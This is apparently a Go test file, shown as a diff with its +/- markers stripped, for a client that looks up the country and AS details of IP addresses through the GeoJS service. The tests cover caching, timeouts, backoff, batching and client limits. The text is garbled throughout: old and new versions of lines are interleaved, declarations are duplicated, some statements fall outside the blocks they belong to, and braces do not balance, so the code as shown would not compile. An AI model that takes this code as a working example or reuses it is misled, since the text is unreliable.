germany = "DE"
// unplaced is the address it cannot place.
unplaced = "192.0.2.1"
// leftOut is the address it leaves out of its answer when
// answeringWithoutLeftOut.
leftOut = "203.0.113.7"
// timeout is how long a new client waits for its answer.
timeout = time.Second
// waitLimit bounds how long a test waits for what should happen.
waitLimit = 10 * time.Second
// pollInterval is how often a test looks again.
pollInterval = 10 * time.Millisecond
// week is how long an answer is kept.
week = 7 * 24 * time.Hour
)
// The tests that have GeoJS asked run in a synctest bubble, where the time
// package runs on a clock of the test's own: a wait lasts exactly as long
// as it should, however slowly the test process runs, and synctest.Wait
// returns once g has done all it can before time passes. The stand-in for
// GeoJS answers without the network, since a request waiting on the
// network would keep that clock from moving on.
func TestKeptAnswerIsUsedFor7DaysThenAskedAgain(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, clock, g := start()
placed := netip.MustParsePrefix("203.0.113.9/32")
notPlaced := netip.MustParsePrefix(unplaced + "/32")
geojs, clock, g := start(t)
placed := netip.MustParsePrefix("203.0.113.9/32")
notPlaced := netip.MustParsePrefix(unplaced + "/32")
wantCountry(t, g, placed, germany)
wantCountry(t, g, notPlaced, "")
wantRequests(t, geojs, 2)
wantCountry(t, g, placed, germany)
wantCountry(t, g, notPlaced, "")
wantRequests(t, geojs, 2)
// An answer without a country is kept too.
clock.advance(week - time.Second)
wantCountry(t, g, placed, germany)
wantCountry(t, g, notPlaced, "")
wantRequests(t, geojs, 2)
// An answer without a country is kept too.
clock.advance(week - time.Second)
wantCountry(t, g, placed, germany)
wantCountry(t, g, notPlaced, "")
wantRequests(t, geojs, 2)
clock.advance(time.Second)
wantCountry(t, g, placed, germany)
wantRequests(t, geojs, 3)
wantAsked(t, geojs, 2, "203.0.113.9")
})
}
func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, clock, g := start()
client := netip.MustParsePrefix("203.0.113.9/32")
// Wait is set, and GeoJS does not answer.
geojs.set(hanging)
began := time.Now()
answer := g.LookUpWithoutWaiting(t.Context(), client)
if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
t.Errorf("got %+v after %s, want no answer at once", answer, waited)
}
waitForRequests(t, geojs, 1)
wantAsked(t, geojs, 0, "203.0.113.9")
// That request is abandoned, and has failed once this returns. GeoJS
// answers when it is asked again, and the answer is kept.
time.Sleep(timeout)
synctest.Wait()
geojs.set(answering)
waitForCountry(t, g, clock, client, germany)
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
t.Errorf("the kept answer gives the country %q, want %q", got, germany)
}
})
clock.advance(time.Second)
wantCountry(t, g, placed, germany)
wantRequests(t, geojs, 3)
wantAsked(t, geojs, 2, "203.0.113.9")
}
func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, clock, g := start()
client := netip.MustParsePrefix("203.0.113.9/32")
geojs, clock, g := start(t)
client := netip.MustParsePrefix("203.0.113.9/32")
// The client comes while GeoJS is asked about an earlier client, which
// it answers most of a second later. It is then asked about the client
// and does not answer: that request is abandoned a second after it
// began, well after the client's wait is over.
geojs.set(answeringSlowly)
// The client comes while GeoJS is asked about an earlier client, which
// it answers most of a second later. It is then asked about the client
// and does not answer: that request is abandoned a second after it
// began, well after the client's wait is over.
geojs.set(answeringSlowly)
var earlier sync.WaitGroup
var earlier sync.WaitGroup
earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
defer earlier.Wait()
earlier.Go(func() { g.Country(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
defer earlier.Wait()
waitForRequests(t, geojs, 1)
geojs.set(hanging)
waitForRequests(t, geojs, 1)
geojs.set(hanging)
began := time.Now()
began := time.Now()
wantCountry(t, g, client, "")
wantCountry(t, g, client, "")
took := time.Since(began)
if took != timeout {
t.Errorf("waited %s for the answer, want %s", took, timeout)
}
took := time.Since(began)
if took < timeout || took > timeout+timeout/2 {
t.Errorf("waited %s for the answer, want %s", took, timeout)
}
// Its next request does not wait.
began = time.Now()
// Its next request does not wait.
began = time.Now()
wantCountry(t, g, client, "")
wantCountry(t, g, client, "")
took = time.Since(began)
if took != 0 {
t.Errorf("waited %s again, want no wait", took)
}
took = time.Since(began)
if took > timeout/2 {
t.Errorf("waited %s again, want no wait", took)
}
// Once GeoJS answers, the client is asked about again in the
// background, and has its country.
geojs.set(answering)
waitForCountry(t, g, clock, client, germany)
})
}
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
// A timeout longer than the default, and a GeoJS that does not
// answer.
const longerTimeout = 3 * time.Second
m := metrics.New(1, "app")
g := lookup.New(lookup.Params{
URL: lookup.URL,
Timeout: longerTimeout,
Wait: true,
Now: time.Now,
ProcessLog: slog.New(slog.DiscardHandler),
Metrics: m,
Alerts: alerts.New(alerts.Params{}),
})
g.SetTransport(&standIn{answers: hanging})
var (
request sync.WaitGroup
waited time.Duration
)
request.Go(func() {
began := time.Now()
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
waited = time.Since(began)
})
// A moment before the timeout runs out, GeoJS is still being asked:
// the request to it has not failed.
time.Sleep(longerTimeout - time.Millisecond)
synctest.Wait()
wantFailures(t, m, 0)
// As it runs out, the client's request goes on, and the request to
// GeoJS is abandoned, which counts as a failure.
request.Wait()
synctest.Wait()
if waited != longerTimeout {
t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
}
wantFailures(t, m, 1)
})
// Once GeoJS answers, the client is asked about again in the
// background, and has its country.
geojs.set(answering)
waitForCountry(t, g, clock, client, germany)
}
func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) {
@@ -220,35 +118,33 @@ func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, clock, g := start()
other := netip.MustParsePrefix("203.0.113.1/32")
client := netip.MustParsePrefix(leftOut + "/32")
geojs, clock, g := start(t)
other := netip.MustParsePrefix("203.0.113.1/32")
client := netip.MustParsePrefix(leftOut + "/32")
// GeoJS fails, and is left alone for a second while the client
// comes too, so that the next request asks about both.
geojs.set(failing)
wantCountry(t, g, other, "")
wantCountry(t, g, client, "")
// GeoJS fails, and is left alone for a second while the client
// comes too, so that the next request asks about both.
geojs.set(failing)
wantCountry(t, g, other, "")
wantCountry(t, g, client, "")
geojs.set(tc.answers)
clock.advance(time.Second)
wantCountry(t, g, other, "")
waitForRequests(t, geojs, 2)
geojs.set(tc.answers)
clock.advance(time.Second)
wantCountry(t, g, other, "")
waitForRequests(t, geojs, 2)
// The answer counts as a failure, and the client is asked about
// again, with the other client only if the answer left it out too.
geojs.set(answering)
waitForCountry(t, g, clock, client, germany)
wantCountry(t, g, other, germany)
wantRequests(t, geojs, 3)
// The answer counts as a failure, and the client is asked about
// again, with the other client only if the answer left it out too.
geojs.set(answering)
waitForCountry(t, g, clock, client, germany)
wantCountry(t, g, other, germany)
wantRequests(t, geojs, 3)
if tc.named {
wantAsked(t, geojs, 2, leftOut)
} else {
wantAsked(t, geojs, 2, leftOut, "203.0.113.1")
}
})
if tc.named {
wantAsked(t, geojs, 2, leftOut)
} else {
wantAsked(t, geojs, 2, leftOut, "203.0.113.1")
}
})
}
}
@@ -256,360 +152,173 @@ func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) {
func TestRedirectCountsAsFailure(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, _, g := start()
geojs.set(redirecting)
geojs, _, g := start(t)
geojs.set(redirecting)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
wantRequests(t, geojs, 1)
})
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
wantRequests(t, geojs, 1)
}
func TestCountryIsKeptInCapitals(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, _, g := start()
geojs.set(answeringInLowerCase)
geojs, _, g := start(t)
geojs.set(answeringInLowerCase)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), germany)
})
}
func TestAnswerHoldsTheASNumberTheASNameAndTheCountry(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
_, clock, g := start()
placed := netip.MustParsePrefix("203.0.113.9/32")
notPlaced := netip.MustParsePrefix(unplaced + "/32")
now := clock.Now()
// For the client it cannot place, GeoJS gives the AS number 64512
// and the AS name Unknown, which count as unknown.
for client, want := range map[netip.Prefix]lookup.Answer{
placed: {
Client: placed, ASN: asn, ASName: asName, Country: germany,
Answered: now, Used: now,
},
notPlaced: {Client: notPlaced, Answered: now, Used: now},
} {
got := g.LookUp(t.Context(), client)
if got != want {
t.Errorf("answer for %s\n%+v\nwant\n%+v", client, got, want)
}
}
})
}
func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
t *testing.T,
) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
var (
mu sync.Mutex
given []lookup.Answer
)
geojs := &standIn{answers: answeringSlowly}
clock := newClock()
m := metrics.New(1, "app")
g := lookup.New(lookup.Params{
URL: lookup.URL,
Timeout: timeout,
Answered: func(answer lookup.Answer) {
mu.Lock()
defer mu.Unlock()
given = append(given, answer)
},
Now: clock.Now,
ProcessLog: slog.New(slog.DiscardHandler),
Metrics: m,
Alerts: alerts.New(alerts.Params{}),
})
g.SetTransport(geojs)
client := netip.MustParsePrefix("203.0.113.9/32")
// The request goes on at once, without an answer, and GeoJS is asked
// about the client, which it answers most of a second later.
began := time.Now()
got := g.LookUp(t.Context(), client)
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
}
waitForRequests(t, geojs, 1)
wantAsked(t, geojs, 0, "203.0.113.9")
time.Sleep(timeout)
synctest.Wait()
now := clock.Now()
want := lookup.Answer{
Client: client, ASN: asn, ASName: asName, Country: germany,
Answered: now, Used: now,
}
mu.Lock()
if !slices.Equal(given, []lookup.Answer{want}) {
t.Errorf("answers given %+v, want only %+v", given, want)
}
mu.Unlock()
wantCountry(t, g, client, germany)
wantRequestsWithoutGeoJSAnswer(t, m, 0)
})
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), germany)
}
func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
var log strings.Builder
var log strings.Builder
// GeoJS does not answer, so the request to it is abandoned, and fails.
geojs := &standIn{answers: hanging}
g := lookup.New(lookup.Params{
URL: lookup.URL,
Timeout: timeout,
Wait: true,
Now: time.Now,
ProcessLog: slog.New(slog.NewTextHandler(&log, nil)),
Metrics: metrics.New(1, "app"),
Alerts: alerts.New(alerts.Params{}),
})
g.SetTransport(geojs)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
synctest.Wait()
logged := log.String()
if !strings.Contains(logged, "asking GeoJS failed") ||
strings.Contains(logged, "203.0.113.9") {
t.Errorf("logged %q, want the failure without the address asked about", logged)
}
// Nothing listens on port 1, so asking GeoJS fails.
g := lookup.New(lookup.Params{
URL: "http://127.0.0.1:1",
Now: time.Now,
ProcessLog: slog.New(slog.NewTextHandler(&log, nil)),
})
}
func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
t.Parallel()
wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "")
synctest.Test(t, func(t *testing.T) {
geojs, clock, g, queue := startWithAlerts()
clients := newClients()
geojs.set(failing)
wantCountry(t, g, clients(), "")
want := alerts.Alert{
Time: clock.Now(),
Event: alerts.EventSourceFailure,
Reason: "asking GeoJS failed",
Detail: map[string]any{
"source": "geojs",
"error": "GeoJS answered 503 Service Unavailable",
"asking_again_in": "1s",
},
}
// The next failure, a second later, is a repeat within the
// cooldown.
clock.advance(time.Second)
wantCountry(t, g, clients(), "")
wantRequests(t, geojs, 2)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 || !reflect.DeepEqual(waiting[0], want) {
t.Errorf("alerts waiting %+v, want only %+v", waiting, want)
}
if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
}
})
logged := log.String()
if !strings.Contains(logged, "asking GeoJS failed") ||
strings.Contains(logged, "203.0.113.9") {
t.Errorf("logged %q, want the failure without the address asked about", logged)
}
}
func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, clock, g := start()
geojs, clock, g := start(t)
// GeoJS fails, and is then left alone for a second, while three more
// clients come. An IPv6 client is a /64, and GeoJS is asked about its
// first address.
geojs.set(failing)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.1/32"), "")
wantCountry(t, g, netip.MustParsePrefix("203.0.113.2/32"), "")
wantCountry(t, g, netip.MustParsePrefix("2001:db8:1:2::/64"), "")
wantRequests(t, geojs, 1)
// GeoJS fails, and is then left alone for a second, while three more
// clients come. An IPv6 client is a /64, and GeoJS is asked about its
// first address.
geojs.set(failing)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.1/32"), "")
wantCountry(t, g, netip.MustParsePrefix("203.0.113.2/32"), "")
wantCountry(t, g, netip.MustParsePrefix("2001:db8:1:2::/64"), "")
wantRequests(t, geojs, 1)
geojs.set(answering)
clock.advance(time.Second)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
wantRequests(t, geojs, 2)
wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
})
geojs.set(answering)
clock.advance(time.Second)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
wantRequests(t, geojs, 2)
wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
}
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, clock, g := start()
clients := newClients()
kept := clients()
geojs, clock, g := start(t)
clients := newClients()
kept := clients()
wantCountry(t, g, kept, germany)
geojs.set(failing)
wantCountry(t, g, kept, germany)
wantRequests(t, geojs, 1)
// Each failure leaves GeoJS alone twice as long as the one before, up
// to five minutes. New clients meanwhile count as not found, and the
// client with a kept answer still gets its country, without GeoJS being
// asked.
requests := 1
for _, delay := range []time.Duration{
time.Second, 2 * time.Second, 4 * time.Second, 8 * time.Second,
16 * time.Second, 32 * time.Second, 64 * time.Second, 128 * time.Second,
256 * time.Second, 5 * time.Minute, 5 * time.Minute,
} {
wantCountry(t, g, clients(), "")
requests++
wantRequests(t, geojs, requests)
clock.advance(delay - time.Millisecond)
wantCountry(t, g, clients(), "")
wantCountry(t, g, kept, germany)
wantRequests(t, geojs, requests)
geojs.set(failing)
wantCountry(t, g, kept, germany)
wantRequests(t, geojs, 1)
clock.advance(time.Millisecond)
}
// Each failure leaves GeoJS alone twice as long as the one before, up
// to five minutes. New clients meanwhile count as not found, and the
// client with a kept answer still gets its country, without GeoJS being
// asked.
requests := 1
// Once GeoJS answers again, it is asked about every client waiting.
geojs.set(answering)
wantCountry(t, g, clients(), germany)
wantRequests(t, geojs, requests+1)
for _, delay := range []time.Duration{
time.Second, 2 * time.Second, 4 * time.Second, 8 * time.Second,
16 * time.Second, 32 * time.Second, 64 * time.Second, 128 * time.Second,
256 * time.Second, 5 * time.Minute, 5 * time.Minute,
} {
wantCountry(t, g, clients(), "")
requests++
wantRequests(t, geojs, requests)
clock.advance(delay - time.Millisecond)
wantCountry(t, g, clients(), "")
wantCountry(t, g, kept, germany)
wantRequests(t, geojs, requests)
clock.advance(time.Millisecond)
}
// Once GeoJS answers again, it is asked about every client waiting.
geojs.set(answering)
wantCountry(t, g, clients(), germany)
wantRequests(t, geojs, requests+1)
asked := waitForRequests(t, geojs, requests+1)
if len(asked[requests]) != 23 {
t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
}
})
asked := waitForRequests(t, geojs, requests+1)
if len(asked[requests]) != 23 {
t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
}
}
func TestAtMost200AddressesInOneRequest(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, clock, g := start()
clients := newClients()
first := clients()
geojs, clock, g := start(t)
clients := newClients()
first := clients()
// 201 clients wait while GeoJS is left alone after a failure.
geojs.set(failing)
wantCountry(t, g, first, "")
// 201 clients wait while GeoJS is left alone after a failure.
geojs.set(failing)
wantCountry(t, g, first, "")
for range 200 {
wantCountry(t, g, clients(), "")
}
for range 200 {
wantCountry(t, g, clients(), "")
}
// The first one's next request has GeoJS asked again.
geojs.set(answering)
clock.advance(time.Second)
wantCountry(t, g, first, "")
// The first one's next request has GeoJS asked again.
geojs.set(answering)
clock.advance(time.Second)
wantCountry(t, g, first, "")
asked := waitForRequests(t, geojs, 3)
if len(asked[1]) != 200 || len(asked[2]) != 1 {
t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
len(asked[1]), len(asked[2]))
}
})
asked := waitForRequests(t, geojs, 3)
if len(asked[1]) != 200 || len(asked[2]) != 1 {
t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
len(asked[1]), len(asked[2]))
}
}
func TestAtMost10000ClientsWait(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
geojs, clock, g := start()
clients := newClients()
first := clients()
geojs, clock, g := start(t)
clients := newClients()
first := clients()
// 10,000 clients wait while GeoJS is left alone after a failure, and
// one more cannot join them.
geojs.set(failing)
wantCountry(t, g, first, "")
// 10,000 clients wait while GeoJS is left alone after a failure, and
// one more cannot join them.
geojs.set(failing)
wantCountry(t, g, first, "")
for range 9999 {
wantCountry(t, g, clients(), "")
}
extra := clients()
wantCountry(t, g, extra, "")
// The first one's next request has GeoJS asked about the 10,000, 200
// at a time, and not about the one more.
geojs.set(answering)
clock.advance(time.Second)
wantCountry(t, g, first, "")
asked := waitForRequests(t, geojs, 51)
for i, request := range asked {
if slices.Contains(request, extra.Addr().String()) {
t.Errorf("request %d asked about %s", i, extra.Addr())
}
}
// With room among those waiting, it is asked about.
wantCountry(t, g, extra, germany)
})
}
func TestClientsWithoutAnAnswerAreCounted(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
m := metrics.New(1, "app")
g := lookup.New(lookup.Params{
URL: lookup.URL,
Timeout: timeout,
Wait: true,
Now: time.Now,
ProcessLog: slog.New(slog.DiscardHandler),
Metrics: m,
Alerts: alerts.New(alerts.Params{}),
})
g.SetTransport(&standIn{answers: failing})
clients := newClients()
// GeoJS fails, so the first client goes without an answer, and GeoJS
// is left alone for a second, which does not pass in this test.
for range 9999 {
wantCountry(t, g, clients(), "")
wantRequestsWithoutGeoJSAnswer(t, m, 1)
}
// Meanwhile each new client goes without one at once, while there is
// room for it among the 10,000 that may wait.
for range 9999 {
wantCountry(t, g, clients(), "")
extra := clients()
wantCountry(t, g, extra, "")
// The first one's next request has GeoJS asked about the 10,000, 200
// at a time, and not about the one more.
geojs.set(answering)
clock.advance(time.Second)
wantCountry(t, g, first, "")
asked := waitForRequests(t, geojs, 51)
for i, request := range asked {
if slices.Contains(request, extra.Addr().String()) {
t.Errorf("request %d asked about %s", i, extra.Addr())
}
}
wantRequestsWithoutGeoJSAnswer(t, m, 10000)
// One more, for which there is no room, goes without one too.
wantCountry(t, g, clients(), "")
wantRequestsWithoutGeoJSAnswer(t, m, 10001)
})
// With room among those waiting, it is asked about.
wantCountry(t, g, extra, germany)
}
// How the stand-in for GeoJS answers.
@@ -628,25 +337,13 @@ const (
// standIn is a stand-in for GeoJS. It notes the addresses each request
// asks about.
type standIn struct {
server *httptest.Server
mu sync.Mutex
answers int
requests [][]string
}
// RoundTrip has the stand-in answer req, in place of the network. A request
// abandoned before the stand-in answers fails, as over the network.
func (s *standIn) RoundTrip(req *http.Request) (*http.Response, error) {
answer := httptest.NewRecorder()
s.ServeHTTP(answer, req)
err := req.Context().Err()
if err != nil {
return nil, err
}
return answer.Result(), nil
}
// ServeHTTP answers a request about the addresses in its ip parameter.
func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
addrs := strings.Split(r.URL.Query().Get("ip"), ",")
@@ -677,24 +374,21 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
}
}
list := make([]map[string]any, 0, len(addrs))
list := make([]map[string]string, 0, len(addrs))
for _, addr := range addrs {
item := map[string]any{
"ip": addr, "asn": asNumber, "organization_name": asName,
"country_code": germany,
}
country := germany
switch {
case addr == unplaced:
item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
country = ""
case addr == leftOut && answers == answeringWithoutLeftOut:
continue
case answers == answeringInLowerCase:
item["country_code"] = strings.ToLower(germany)
country = strings.ToLower(germany)
}
list = append(list, item)
list = append(list, map[string]string{"ip": addr, "country": country})
}
var answer any = list
@@ -728,8 +422,7 @@ func (s *standIn) asked() [][]string {
return slices.Clone(s.requests)
}
// testClock is a clock the test sets. GeoJS tells the time by it, while
// waits run on the bubble's clock.
// testClock is a clock the test sets.
type testClock struct {
mu sync.Mutex
now time.Time
@@ -751,44 +444,23 @@ func (c *testClock) advance(d time.Duration) {
c.now = c.now.Add(d)
}
// start returns a stand-in for GeoJS that answers, a clock, and a GeoJS
// asking the stand-in by that clock, for which a request waits for its
// client's first answer.
func start() (*standIn, *testClock, *lookup.GeoJS) {
geojs, clock, g, _ := startWithAlerts()
// start starts a stand-in for GeoJS that answers, and returns it, a
// clock, and a GeoJS asking it by that clock.
func start(t *testing.T) (*standIn, *testClock, *lookup.GeoJS) {
t.Helper()
return geojs, clock, g
}
// startWithAlerts is start, and returns the queue of the alerts GeoJS
// raises as well, for a webhook that is never sent them, with the default
// cooldown, by the same clock.
func startWithAlerts() (*standIn, *testClock, *lookup.GeoJS, *alerts.Queue) {
geojs := &standIn{}
clock := newClock()
queue := alerts.New(alerts.Params{
WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
Events: alerts.Events(),
Cooldown: 15 * time.Minute,
Now: clock.Now,
})
geojs.server = httptest.NewServer(geojs)
t.Cleanup(geojs.server.Close)
clock := &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)}
g := lookup.New(lookup.Params{
URL: lookup.URL,
Timeout: timeout,
Wait: true,
URL: geojs.server.URL,
Now: clock.Now,
ProcessLog: slog.New(slog.DiscardHandler),
Metrics: metrics.New(1, "app"),
Alerts: queue,
})
g.SetTransport(geojs)
return geojs, clock, g, queue
}
// newClock returns a clock set to the start of a day.
func newClock() *testClock {
return &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)}
return geojs, clock, g
}
// newClients returns what returns a new IPv4 client each time it is
@@ -807,7 +479,7 @@ func newClients() func() netip.Prefix {
func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
t.Helper()
got := g.LookUp(t.Context(), client).Country
got := g.Country(t.Context(), client)
if got != want {
t.Errorf("%s is in %q, want %q", client, got, want)
}
@@ -841,55 +513,41 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
}
}
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
// gone without an answer from GeoJS.
func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
t.Helper()
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
if got != want {
t.Errorf("%v requests went without an answer, want %v", got, want)
}
}
// wantFailures checks how many requests to GeoJS m counts as failed.
func wantFailures(t *testing.T, m *metrics.Metrics, want float64) {
t.Helper()
got := testutil.ToFloat64(m.GeoJSFailures)
if got != want {
t.Errorf("%v requests to GeoJS failed, want %v", got, want)
}
}
// waitForRequests waits until g has done all it can before time passes,
// checks that GeoJS has had count requests, and returns the addresses each
// asked about.
// waitForRequests waits for GeoJS to have had count requests, and returns
// the addresses each asked about.
func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
t.Helper()
synctest.Wait()
deadline := time.Now().Add(waitLimit)
for time.Now().Before(deadline) {
asked := geojs.asked()
if len(asked) >= count {
return asked
}
asked := geojs.asked()
if len(asked) != count {
t.Fatalf("GeoJS had %d requests, want %d", len(asked), count)
time.Sleep(pollInterval)
}
return asked
t.Fatalf("fewer than %d requests to GeoJS after %s", count, waitLimit)
return nil
}
// waitForCountry lets a request to GeoJS under way be abandoned, and moves
// the clock on a minute, so that GeoJS may be asked again after a failure.
// It then checks that client's next request does not wait but has it asked
// about again in the background, after which g gives it the country want.
// waitForCountry waits for g to give client the country want, moving the
// clock on a minute at a time, so that GeoJS is asked again after a
// failure.
func waitForCountry(
t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
) {
t.Helper()
time.Sleep(timeout)
clock.advance(time.Minute)
wantCountry(t, g, client, "")
synctest.Wait()
wantCountry(t, g, client, want)
deadline := time.Now().Add(waitLimit)
for g.Country(t.Context(), client) != want {
if time.Now().After(deadline) {
t.Fatalf("%s is not in %q after %s", client, want, waitLimit)
}
clock.advance(time.Minute)
time.Sleep(pollInterval)
}
}
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